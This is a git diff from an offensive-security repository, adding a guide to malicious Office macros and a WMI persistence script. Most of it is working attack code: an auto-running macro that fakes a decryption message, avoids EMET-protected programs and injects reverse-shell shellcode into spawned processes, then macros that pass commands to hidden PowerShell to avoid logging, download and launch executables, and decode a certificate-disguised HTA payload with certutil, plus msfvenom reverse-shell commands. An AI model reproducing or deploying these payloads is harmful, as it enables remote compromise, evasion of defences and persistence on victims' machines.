"kernel32" Alias "TerminateProcess" (ByVal hProcess As Long, ByVal uExitCode As Long) As Boolean +Private Declare PtrSafe Function watergun Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr +Private Declare PtrSafe Function leechseed Lib "kernel32" Alias "VirtualFreeEx" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal dwFreeType As Long) As LongPtr +Private Declare PtrSafe Function thunderbolt Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lpBaseAddress As LongPtr, ByRef lpBuffer As Any, ByVal nSize As Long, ByVal lpNumberOfBytesWritten As LongPtr) As LongPtr +Private Declare PtrSafe Function flamethrower Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Any, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Any, ByVal dwCreationFlags As Long, lpThreadId As Long) As LongPtr +Private Declare PtrSafe Sub pokedex Lib "kernel32" Alias "GetSystemInfo" (lpSystemInfo As SYSTEM_INFO) +Private Declare PtrSafe Function cosmicpower Lib "kernel32" Alias "GetCurrentProcess" () As LongPtr +Private Declare PtrSafe Function rarecandy Lib "kernel32" Alias "IsWow64Process" (ByVal hProcess As LongPtr, ByRef Wow64Process As Boolean) As Boolean +Private Declare PtrSafe Function dragonascent Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, ByVal lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long +Private Type SYSTEM_INFO +wProcessorArchitecture As Integer +wReserved As Integer +dwPageSize As Long +lpMinimumApplicationAddress As LongPtr +lpMaximumApplicationAddress As LongPtr +dwActiveProcessorMask As LongPtr +dwNumberOrfProcessors As Long +dwProcessorType As Long +dwAllocationGranularity As Long +wProcessorLevel As Integer +wProcessorRevision As Integer +End Type +#Else +Private Declare Function bodyslam Lib "kernel32" Alias "TerminateProcess" (ByVal hProcess As Long, ByVal uExitCode As Long) As Boolean +Private Declare Function watergun Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddress As Any, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long +Private Declare Function leechseed Lib "kernel32" Alias "VirtualFreeEx" (ByVal hProcess As Long, ByVal lpAddress As Any, ByVal dwSize As Long, ByVal dwFreeType As Long) As Long +Private Declare Function thunderbolt Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByRef lpBuffer As Any, ByVal nSize As Long, ByVal lpNumberOfBytesWritten As Long) As Long +Private Declare Function flamethrower Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Any, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Any, ByVal dwCreationFlags As Long, lpThreadId As Long) As Long +Private Declare Sub pokedex Lib "kernel32" Alias "GetSystemInfo" (lpSystemInfo As SYSTEM_INFO) +Private Declare Function cosmicpower Lib "kernel32" Alias "GetCurrentProcess" () As Long +Private Declare Function rarecandy Lib "kernel32" Alias "IsWow64Process" (ByVal hProcess As Long, ByRef Wow64Process As Boolean) As Boolean +Private Declare Function dragonascent Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long +Private Type SYSTEM_INFO +wProcessorArchitecture As Integer +wReserved As Integer +dwPageSize As Long +lpMinimumApplicationAddress As Long +lpMaximumApplicationAddress As Long +dwActiveProcessorMask As Long +dwNumberOrfProcessors As Long +dwProcessorType As Long +dwAllocationGranularity As Long +dwReserved As Long +End Type +#End If +Dim inject64 As Boolean +Public Function IsOffice64Bit() As Boolean +Dim lpSystemInfo As SYSTEM_INFO +Call pokedex(lpSystemInfo) +If lpSystemInfo.wProcessorArchitecture = PROCESSOR_ARCHITECTURE_AMD64 Then +Call rarecandy(cosmicpower(), IsOffice64Bit) +IsOffice64Bit = Not IsOffice64Bit +End If +End Function +Public Function IsWow64(handle As Long) As Boolean +Call rarecandy(handle, meh) +IsWow64 = Not meh +End Function +Public Function DieTotal() +MsgBox "This document will begin decrypting, please allow up to 5 minutes" +End Function +Public Function TrailingSlash(strFolder As String) As String +If Len(strFolder) > 0 Then +If Right(strFolder, 1) = "\" Then +TrailingSlash = strFolder +Else +TrailingSlash = strFolder & "\" +End If +End If +End Function +Public Function RecursiveDir(colFiles As Collection, strFolder As String, strFileSpec As String, bIncludeSubfolders As Boolean) +Dim strTemp As String +Dim colFolders As New Collection +Dim vFolderName As Variant +strFolder = TrailingSlash(strFolder) +On Error Resume Next +strTemp = Dir(strFolder & strFileSpec) +Do While strTemp <> vbNullString +colFiles.Add strFolder & strTemp +strTemp = Dir +Loop +If bIncludeSubfolders Then +strTemp = Dir(strFolder, vbDirectory) +Do While strTemp <> vbNullString +If (strTemp <> ".") And (strTemp <> "..") Then +If (GetAttr(strFolder & strTemp) And vbDirectory) <> 0 Then +colFolders.Add strTemp +End If +End If +strTemp = Dir +Loop +For Each vFolderName In colFolders +Call RecursiveDir(colFiles, strFolder & vFolderName, strFileSpec, True) +Next vFolderName +End If +End Function +Public Function getList() As String() +Dim myList As String +myList = "" +myList = myList & "ping.exe /t 127.0.0.1" & "," +myList = myList & "C:\Program Files (x86)\EMET 5.5\EMET_Agent.exe" & "," +myList = myList & "hh.exe /?" & "," +myList = myList & "regedit.exe" & "," +myList = myList & "cmd.exe /K" & "," +myList = myList & "xpsrchvw.exe" & "," +myList = myList & "xcopy.exe * /w" & "," +myList = myList & "wscript.exe" & "," +myList = myList & "netstat.exe -aneft 100" & "," +myList = myList & "netsh.exe" & "," +myList = myList & "winver.exe" & "," +myList = myList & "windowsanytimeupgradeui.exe" & "," +myList = myList & "wfs.exe" & "," +myList = myList & "waitfor.exe statusready" & "," +myList = myList & "verifier.exe" & "," +myList = myList & "timeout.exe -1" & "," +myList = myList & "soundrecorder.exe" & "," +myList = myList & "sndvol.exe" & "," +myList = myList & "rasphone.exe" & "," +myList = myList & "nslookup.exe" & "," +myList = myList & "mstsc.exe" & "," +myList = myList & "wmic.exe" & "," +myList = myList & "C:\\windows\\system32\\speech\\speechux\\speechuxtutorial.exe" & "," +myList = myList & "C:\Windows\SysWOW64\Ping.exe -t 127.0.0.1" & "," +myList = myList & "wmic.exe" & "," +myList = myList & "C:\Windows\bfsvc.exe" & "," +myList = myList & "C:\Windows\explorer.exe" & "," +myList = myList & "C:\Windows\fveupdate.exe" & "," +myList = myList & "C:\Windows\HelpPane.exe" & "," +' Cut for brevity +[...] +myList = myList & "C:\Windows\System32\wbem\wbemtest.exe" & "," +myList = myList & "C:\Windows\System32\wbem\WinMgmt.exe" & "," +myList = myList & "C:\Windows\System32\wbem\WMIADAP.exe" & "," +myList = myList & "C:\Windows\System32\wbem\WmiApSrv.exe" & "," +myList = myList & "C:\Windows\System32\wbem\WMIC.exe" & "," +myList = myList & "C:\Windows\System32\wbem\WmiPrvSE.exe" & "," +myList = myList & "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" & "," +myList = myList & "C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe" & "," +myList = myList & "C:\Windows\SysWOW64\AdapterTroubleshooter.exe" & "," +myList = myList & "C:\Windows\SysWOW64\ARP.EXE" & "," +myList = myList & "C:\Windows\SysWOW64\at.exe" & "," +myList = myList & "C:\Windows\SysWOW64\AtBroker.exe" & "," +myList = myList & "C:\Windows\SysWOW64\attrib.exe" & "," +myList = myList & "C:\Windows\SysWOW64\auditpol.exe" & "," +myList = myList & "C:\Windows\SysWOW64\autochk.exe" & "," +' Cut for brevity +[...] +myList = myList & "C:\Windows\SysWOW64\InstallShield\setup.exe" & "," +myList = myList & "C:\Windows\SysWOW64\InstallShield\_isdel.exe" & "," +myList = myList & "C:\Windows\SysWOW64\migwiz\mighost.exe" & "," +myList = myList & "C:\Windows\SysWOW64\migwiz\MigSetup.exe" & "," +myList = myList & "C:\Windows\SysWOW64\migwiz\migwiz.exe" & "," +myList = myList & "C:\Windows\SysWOW64\migwiz\PostMig.exe" & "," +myList = myList & "C:\Windows\SysWOW64\wbem\mofcomp.exe" & "," +myList = myList & "C:\Windows\SysWOW64\wbem\WinMgmt.exe" & "," +myList = myList & "C:\Windows\SysWOW64\wbem\WMIADAP.exe" & "," +myList = myList & "C:\Windows\SysWOW64\wbem\WMIC.exe" & "," +myList = myList & "C:\Windows\SysWOW64\wbem\WmiPrvSE.exe" & "," +myList = myList & "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" & "," +myList = myList & "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe" & "," +myArray = Split(myList, ",") +Dim c As Integer +Dim list() As String +For c = LBound(myArray) To (UBound(myArray) - 1) +ReDim Preserve list(c) +list(c) = myArray(c) +Next +c = UBound(list) +Dim colFiles As New Collection +RecursiveDir colFiles, "C:\Program Files", "*.exe", True +RecursiveDir colFiles, "C:\Program Files (x86)", "*.exe", True +RecursiveDir colFiles, "C:\Intel", "*.exe", True +RecursiveDir colFiles, "C:\Windows\Syswow64", "*.exe", True +RecursiveDir colFiles, "C:\Windows\System32", "*.exe", True +RecursiveDir colFiles, "C:\Windows\winsxs", "*.exe", True +RecursiveDir colFiles, "C:\Windows\System32\DriverStore\FileRepository", "*.exe", True +RecursiveDir colFiles, "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Workflow.Compiler\", "*.exe", True +RecursiveDir colFiles, "C:\Windows\Microsoft.NET\Framework\", "*.exe", True +Dim vFile As Variant +For Each vFile In colFiles +ReDim Preserve list(c) +list(c) = vFile +c = c + 1 +Next vFile +getList = list +End Function +Public Function pathOf(program As String) As String +pathOf = "" +If program Like "*.exe" Then +program = program +Else +program = program & ".exe" +End If +If program Like "*:\*" Then +pathOf = program +Exit Function +Else +paths = Environ("PATH") +Dim allPaths() As String +allPaths = Split(paths, ";") +Dim Path As Variant +For Each Path In allPaths +' With more complex env variables - esp complex path set - need to do some tidying or quote errors +If Right(Path, 1) = Chr(34) Then 'Check if string ends with a quote + ms = Mid(Path, 2, Len(Path) - 2) & "\" & program +Else + ms = Path & "\" & program +End If +If Not Dir(ms, vbDirectory) = vbNullString Then +pathOf = ms +Exit Function +End If +Next +End If +End Function +Public Function getEMET() As String() +Set objShell = CreateObject("WScript.Shell") +Set objFSO = CreateObject("Scripting.FileSystemObject") +Set oReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & "." & "\root\default:StdRegProv") +oReg.EnumValues HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\EMET\AppSettings", arrValues, arrTypes +Dim smack() As String +Dim count As Integer +If IsArray(arrValues) Then + For count = LBound(arrValues) To UBound(arrValues) + ReDim Preserve smack(count) + smack(count) = arrValues(count) + Next +Else + ReDim Preserve smack(0) + smack(0) = "" +End If +getEMET = smack +End Function +Public Function AutoPwn() As Long +myArray = FightEMET +Dim Count As Integer +Dim Success As Integer +For Count = LBound(myArray) To UBound(myArray) +Dim proc As String +proc = myArray(Count) +Success = Inject(proc) +If Success = 1 Then Exit For +Next +End Function +Public Function FightEMET() As String() +myArray = getList +smex = getEMET +Dim count As Integer +Dim sCount As Integer +Dim kCount As Integer +kCount = 0 +Dim killedEMET() As String +For count = LBound(myArray) To UBound(myArray) +progo = myArray(count) +prog = Split(progo, ".exe") +kk = Replace(prog(0), "\\", "\") +Dim gg As String +gg = kk +pathKK = Replace(pathOf(Replace(gg, """", "")), "\\", "\") +Dim fudgeBool As Boolean +fudgeBool = False + If Not smex(0) = "" Then + For sCount = LBound(smex) To UBound(smex) + If LCase(pathKK) Like LCase(smex(sCount)) Then + fudgeBool = True + End If + Next + End If + If fudgeBool = False Then + ReDim Preserve killedEMET(kCount) + killedEMET(kCount) = myArray(count) + kCount = kCount + 1 + End If +Next +FightEMET = killedEMET +End Function +Public Function Inject(processCmd As String) As Long +Dim myByte As Long, buf As Variant, myCount As Long, hProcess As Long +#If VBA7 Then + Dim lLinkToLibary As LongPtr, rekt As LongPtr, hThread As LongPtr +#Else + Dim lLinkToLibary As Long, rekt As Long, hThread As Long +#End If +Dim pInfo As PROCESS_INFORMATION +Dim sInfo As STARTUPINFO +Dim sNull As String +Dim sProc As String +sInfo.dwFlags = 1 +If IsOffice64Bit Then +On Error Resume Next +sProc = processCmd +res = dragonascent(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo) +hProcess = pInfo.hProcess +Dim b64 As Boolean +b64 = False +b64 = IsWow64(hProcess) +inject64 = True +If b64 = True Then +If inject64 = True Then +If hProcess = 0 Then +Exit Function +End If +lLinkToLibrary = watergun(hProcess, 0&, &H2be, &H3000, PAGE_READWRITE) +If lLinkToLibrary = 0 Then +sly = bodyslam(hProcess, lol) +Exit Function +End If +Position = lLinkToLibrary +buf = Array(72,131,228,240,232,204,0,0,0,65,81,65,80,82,81,86,72,49,210,101,72,139,82,96,72,139,82,24,72,139,82,32,72,139,114,80,72,15,183,74,74,77,49,201,72,49,192,172,60,97,124,2,44,32,65,193,201,13,65,1,193,226,237,82,65,81,72,139,82,32,139,66,60,72,1,208,102,129,120,24,11,2,15,133,114,0,0,0,139,128,136,0,0,0,72,133,192,116,103,72,1, _ +208,80,139,72,24,68,139,64,32,73,1,208,227,86,72,255,201,65,139,52,136,72,1,214,77,49,201,72,49,192,172,65,193,201,13,65,1,193,56,224,117,241,76,3,76,36,8,69,57,209,117,216,88,68,139,64,36,73,1,208,102,65,139,12,72,68,139,64,28,73,1,208,65,139,4,136,72,1,208,65,88,65,88,94,89,90,65,88,65,89,65,90,72,131,236,32,65,82,255,224, _ +88,65,89,90,72,139,18,233,75,255,255,255,93,72,49,219,83,73,190,119,105,110,105,110,101,116,0,65,86,72,137,225,73,199,194,76,119,38,7,255,213,83,83,72,137,225,83,90,77,49,192,77,49,201,83,83,73,186,58,86,121,167,0,0,0,0,255,213,232,15,0,0,0,49,57,50,46,49,54,56,46,53,54,46,49,48,49,0,90,72,137,193,73,199,192,187,1,0,0,77, _ +49,201,83,83,106,3,83,73,186,87,137,159,198,0,0,0,0,255,213,232,121,0,0,0,47,72,97,53,67,82,111,71,82,69,107,50,89,104,112,109,69,119,82,112,74,106,119,90,50,102,57,50,104,111,75,119,97,113,54,83,108,45,56,104,66,76,112,57,72,116,101,114,76,54,114,86,99,56,74,112,77,85,113,100,75,106,95,77,80,85,100,99,49,105,82,106,71,56,88,117, _ +103,57,69,95,53,101,98,121,52,65,65,108,99,119,73,81,73,89,51,74,99,54,98,102,73,101,105,84,115,55,104,104,49,89,99,107,99,118,115,108,50,52,111,70,0,72,137,193,83,90,65,88,77,49,201,83,72,184,0,50,160,132,0,0,0,0,80,83,83,73,199,194,235,85,46,59,255,213,72,137,198,106,10,95,72,137,241,106,31,90,82,104,128,51,0,0,73,137,224,106, _ +4,65,89,73,186,117,70,158,134,0,0,0,0,255,213,72,137,241,83,90,77,49,192,77,49,201,83,83,73,199,194,45,6,24,123,255,213,133,192,117,31,72,199,193,136,19,0,0,73,186,68,240,53,224,0,0,0,0,255,213,72,255,207,116,2,235,173,232,86,0,0,0,83,89,106,64,90,73,137,209,193,226,16,73,199,192,0,16,0,0,73,186,88,164,83,229,0,0,0,0, _ +255,213,72,147,83,83,72,137,231,72,137,241,72,137,218,73,199,192,0,32,0,0,73,137,249,73,186,18,150,137,226,0,0,0,0,255,213,72,131,196,32,133,192,116,178,102,139,7,72,1,195,133,192,117,210,88,88,195,88,106,0,89,73,199,194,240,181,162,86,255,213) +For myCount = LBound(buf) To UBound(buf) +myByte = buf(myCount) +rekt = thunderbolt(hProcess, ByVal (lLinkToLibrary + myCount), myByte, 1, b) +Next myCount +hThread = flamethrower(hProcess, 0&, 0&, ByVal lLinkToLibrary, 0, 0, ByVal 0&) +End If +If hThread = 0 or Inject64 = False Then +If lLinkToLibrary <> 0 Then +leechseed hProcess, lLinkToLibrary, 0, MEM_RELEASE +End If +hProcess = pInfo.hProcess +sly = bodyslam(hProcess, lol) +Exit Function +Else +Inject = 1 'Success +End If +Else +If hProcess = 0 Then +Exit Function +End If +lLinkToLibrary = watergun(hProcess, 0&, &H1b5, &H3000, PAGE_READWRITE) +If lLinkToLibrary = 0 Then +sly = bodyslam(hProcess, lol) +Exit Function +End If +Position = lLinkToLibrary +buf = Array(232,130,0,0,0,96,137,229,49,192,100,139,80,48,139,82,12,139,82,20,139,114,40,15,183,74,38,49,255,172,60,97,124,2,44,32,193,207,13,1,199,226,242,82,87,139,82,16,139,74,60,139,76,17,120,227,72,1,209,81,139,89,32,1,211,139,73,24,227,58,73,139,52,139,1,214,49,255,172,193,207,13,1,199,56,224,117,246,3,125,248,59,125,36,117,228,88,139,88,36,1, _ +211,102,139,12,75,139,88,28,1,211,139,4,139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,95,95,90,139,18,235,141,93,104,110,101,116,0,104,119,105,110,105,84,104,76,119,38,7,255,213,49,219,83,83,83,83,83,104,58,86,121,167,255,213,83,83,106,3,83,83,104,187,1,0,0,232,192,0,0,0,47,85,55,69,102,86,99,88,70,120,72,104,116,122,87,122,77, _ +78,70,71,57,76,103,105,122,109,118,108,72,79,115,56,77,119,111,66,55,100,78,84,79,103,108,76,66,99,65,89,0,80,104,87,137,159,198,255,213,137,198,83,104,0,50,224,132,83,83,83,87,83,86,104,235,85,46,59,255,213,150,106,10,95,104,128,51,0,0,137,224,106,4,80,106,31,86,104,117,70,158,134,255,213,83,83,83,83,86,104,45,6,24,123,255,213,133,192,117, _ +20,104,136,19,0,0,104,68,240,53,224,255,213,79,117,205,232,75,0,0,0,106,64,104,0,16,0,0,104,0,0,64,0,83,104,88,164,83,229,255,213,147,83,83,137,231,87,104,0,32,0,0,83,86,104,18,150,137,226,255,213,133,192,116,207,139,7,1,195,133,192,117,229,88,195,95,232,107,255,255,255,49,57,50,46,49,54,56,46,53,54,46,49,48,49,0,187,240,181,162, _ +86,106,0,83,255,213) +For myCount = LBound(buf) To UBound(buf) +myByte = buf(myCount) +rekt = thunderbolt(hProcess, ByVal (lLinkToLibrary + myCount), myByte, 1, b) +Next myCount +hThread = flamethrower(hProcess, 0&, 0&, ByVal lLinkToLibrary, 0, 0, ByVal 0&) +If hThread = 0 Then +If lLinkToLibrary <> 0 Then +leechseed hProcess, lLinkToLibrary, 0, MEM_RELEASE +End If +hProcess = pInfo.hProcess +sly = bodyslam(hProcess, lol) +Exit Function +Else +Inject = 1 'Success +End If +End If +Else +sProc = processCmd +res = dragonascent(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo) +hProcess = pInfo.hProcess +If hProcess = 0 Then +Exit Function +End If +lLinkToLibrary = watergun(hProcess, 0&, &H1b5, &H3000, PAGE_READWRITE) +If lLinkToLibrary = 0 Then +sly = bodyslam(hProcess, lol) +Exit Function +End If +Position = lLinkToLibrary +buf = Array(232,130,0,0,0,96,137,229,49,192,100,139,80,48,139,82,12,139,82,20,139,114,40,15,183,74,38,49,255,172,60,97,124,2,44,32,193,207,13,1,199,226,242,82,87,139,82,16,139,74,60,139,76,17,120,227,72,1,209,81,139,89,32,1,211,139,73,24,227,58,73,139,52,139,1,214,49,255,172,193,207,13,1,199,56,224,117,246,3,125,248,59,125,36,117,228,88,139,88,36,1, _ +211,102,139,12,75,139,88,28,1,211,139,4,139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,95,95,90,139,18,235,141,93,104,110,101,116,0,104,119,105,110,105,84,104,76,119,38,7,255,213,49,219,83,83,83,83,83,104,58,86,121,167,255,213,83,83,106,3,83,83,104,187,1,0,0,232,192,0,0,0,47,85,55,69,102,86,99,88,70,120,72,104,116,122,87,122,77, _ +78,70,71,57,76,103,105,122,109,118,108,72,79,115,56,77,119,111,66,55,100,78,84,79,103,108,76,66,99,65,89,0,80,104,87,137,159,198,255,213,137,198,83,104,0,50,224,132,83,83,83,87,83,86,104,235,85,46,59,255,213,150,106,10,95,104,128,51,0,0,137,224,106,4,80,106,31,86,104,117,70,158,134,255,213,83,83,83,83,86,104,45,6,24,123,255,213,133,192,117, _ +20,104,136,19,0,0,104,68,240,53,224,255,213,79,117,205,232,75,0,0,0,106,64,104,0,16,0,0,104,0,0,64,0,83,104,88,164,83,229,255,213,147,83,83,137,231,87,104,0,32,0,0,83,86,104,18,150,137,226,255,213,133,192,116,207,139,7,1,195,133,192,117,229,88,195,95,232,107,255,255,255,49,57,50,46,49,54,56,46,53,54,46,49,48,49,0,187,240,181,162, _ +86,106,0,83,255,213) +For myCount = LBound(buf) To UBound(buf) +myByte = buf(myCount) +rekt = thunderbolt(hProcess, ByVal (lLinkToLibrary + myCount), myByte, 1, b) +Next myCount +hThread = flamethrower(hProcess, 0&, 0&, ByVal lLinkToLibrary, 0, 0, ByVal 0&) +If hThread = 0 Then +If lLinkToLibrary <> 0 Then +leechseed hProcess, lLinkToLibrary, 0, MEM_RELEASE +End If +hProcess = pInfo.hProcess +sly = bodyslam(hProcess, lol) +Exit Function +Else +Inject = 1 'Success +End If +End If +End Function +Sub AutoOpen() +DieTotal +AutoPwn +End Sub +Sub Workbook_Open() +DieTotal +AutoPwn +End Sub + +``` + +--- + +**8. Custom macro taking commands from *Author property* to feed them to `StdIn` of Powershell** + +In this scenario, we set up a Macro that will take it's commands from Author property (or any other) and then pass it to *StdIn* of *Powershell* interpreter to avoid command logging in Event Logs of Windows: + +**Step #1:** +Put the following macro (or modify it in some way) + +``` +Private Sub Workbook_Open() + Dim author As String + author = ActiveWorkbook.BuiltinDocumentProperties("Author") + + Dim ws As Object + Set ws = CreateObject("WScript.Shell") + + With ws.Exec("powershell.exe -nop -WindowStyle hidden -Command -") + .StdIn.WriteLine author + .StdIn.WriteBlankLines 1 + .Terminate + End With +End Sub +``` + +Then place some not Base64 encoded Powershell commands in Author property of document's. Macro could be easily generated for instance using **msfvenom**: + +``` +work|19:10|~ # msfvenom -f psh-cmd LHOST=192.168.56.101 LPORT=4444 +No platform was selected, choosing Msf::Module::Platform::Windows from the payload +No Arch selected, selecting Arch: x86 from the payload +No encoder or badchars specified, outputting raw payload +Payload size: 333 bytes +Final size of psh-cmd file: 6151 bytes +%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAJwBIADQAcwBJAEEATABmAFgAWgBGAG8AQwBBADcAVgBXAGIAWQAvAGEATwBCAEQAKwB2 ... +``` + +Then we take that commands, base64-decode them and put into Author property. That's all. + +--- + +**9. ActiveX-based (`InkPicture` control, `Painted` event) autorun macro** + +One can also go to *Developer tab on ribbon -> Insert -> More Controls -> Microsoft InkPicture Control* +Then add such a control and double-click on it. This will pop up macro edit window, where one could put one of the above stated macros, or similar to the one below: + +``` +Private Sub InkPicture1_Painted(ByVal hDC As Long, ByVal Rect As MSINKAUTLib.IInkRectangle) +Run = Shell("cmd.exe /c PowerShell (New-Object System.Net.WebClient).DownloadFile('https:///file.exe','file.exe');Start-Process 'file.exe'", vbNormalFocus) +End Sub +``` + +For other Macro-autorun related ActiveX controls and their methods - one can refer to the below resource: +http://www.greyhathacker.net/?p=948 + +ActiveX Control | Subroutine name +--- | --- +Microsoft Forms 2.0 Frame | Frame1_Layout +Microsoft Forms 2.0 MultiPage | MultiPage1_Layout +Microsoft ImageComboBox Control, ver6.0 | ImageCombo21_Change +Microsoft InkEdit Control | InkEdit1_GotFocus +. | InkPicture1_Painted +Microsoft InkPicture Control | InkPicture1_Painting +. | InkPicture1_Resize +System Monitor Control | SystemMonitor1_GotFocus +. | SystemMonitor1_LostFocus +Microsoft Web Browser | WebBrowser1_BeforeNavigate2 +. | many others... + + +--- + +**10. Generate Base64-encoded HTA application to be decoded using `certutil`** + +In this scenario, we are going to generate a file (like HTA application - which has relatively low detection rate by AVs and HIPSes) - then download it via *Powershell*-based Download Cradle, then pass it to `certutil` to make it Base64 decode that file and launch what has been decoded. + +**Step #1: Generate proper CRT file** + +To do this, we can use below script (modification is required to make `msfvenom` return proper payload): +``` +#!/bin/bash + +# --- PAYLOAD SETUP + +LHOST=192.168.56.101 +LPORT=4444 +PAYLOAD=windows/meterpreter/reverse_tcp + +# This file must have *.crt extension +OUTPUT_FILE=/var/www/html/encoded.crt + +PAYLOAD_FILE=/tmp/test$RANDOM + +# ---- + +msfvenom -f hta-psh -p $PAYLOAD LHOST=$LHOST LPORT=$LPORT -o $PAYLOAD_FILE + +echo -----BEGIN CERTIFICATE----- > $OUTPUT_FILE +cat $PAYLOAD_FILE | base64 -w 0 >> $OUTPUT_FILE +echo -----END CERTIFICATE----- >> $OUTPUT_FILE + +chown www-data:www-data $OUTPUT_FILE 2> /dev/null + +echo "Generated file: $OUTPUT_FILE" +``` + +Then, having such file placed on our HTTP server - we are going to prepare Download-Cradle macro: + +``` +Sub DownloadAndExec() + +Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP") +Dim bStrm: Set bStrm = CreateObject("Adodb.Stream") +xHttp.Open "GET", "https:///encoded.crt", False +xHttp.Send + +With bStrm + .Type = 1 + .Open + .write xHttp.responseBody + .savetofile "encoded.crt", 2 +End With + +Shell ("cmd /c certutil -decode encoded.crt encoded.hta & start encoded.hta") + +End Sub +``` \ No newline at end of file diff --git a/social-engineering/WMIPersistence.vbs b/social-engineering/WMIPersistence.vbs new file mode 100644 index 0000000..cc57c13 --- /dev/null +++ b/social-engineering/WMIPersistence.vbs @@ -0,0 +1,77 @@ +' +' SYNOPSIS: +' WMI Persistence method as originally presented by SEADADDY malware +' (https://github.com/pan-unit42/iocs/blob/master/seaduke/decompiled.py#L887) +' and further documented by Matt Graeber. +' +' The scheduled command will be launched after roughly 3 minutes since system +' gets up. Also, even if the command shall spawn a window - it will not be visible, +' since the command will get invoked by WmiPrvSE.exe that's running in Session 0. +' +' USAGE: +' WMIPersistence("command to be launched", "taskName") +' +' EXAMPLE: +' WMIPersistence("powershell -noP -sta -w 1 -enc WwBSAGUAZgBdAC4AQQ[...]EUAWAA=", "WindowsUpdater") +' +' AUTHOR: +' Mariusz B. / mgeeky, '17 +' + +Public Function WMIPersistence(ByVal exePath As String, ByVal taskName As String) As Boolean + Dim filterName, consumerName As String + Dim objLocator, objService1 + Dim objInstances1, objInstances2, objInstances3 + Dim newObj1, newObj2, newObj3 + + On Error GoTo Failed + + filterName = taskName & "Event" + consumerName = taskName & "Consumer" + + Set objLocator = CreateObject("WbemScripting.SWbemLocator") + Set objService1 = objLocator.ConnectServer(".", "root\subscription") + + ' + ' Step 1: Set WMI Instance of type Event Filter + ' + Set objInstances1 = objService1.Get("__EventFilter") + + ' The malware originally will kicks in after roughly 3 minutes since System gets up. + ' One can modify this delay time by modifying the WHERE clausule of the below query. + query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 " _ + & "WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' " _ + & "AND TargetInstance.SystemUpTime >= 200 AND " _ + & "TargetInstance.SystemUpTime < 320" + + ' New object of type __EventFilter + Set newObj1 = objInstances1.Spawninstance_ + newObj1.name = filterName + newObj1.eventNamespace = "root\cimv2" + newObj1.QueryLanguage = "WQL" + newObj1.query = query + newObj1.Put_ + + ' + ' Step 2: Set WMI instance of type: CommandLineEventConsumer + ' + Set objInstances2 = 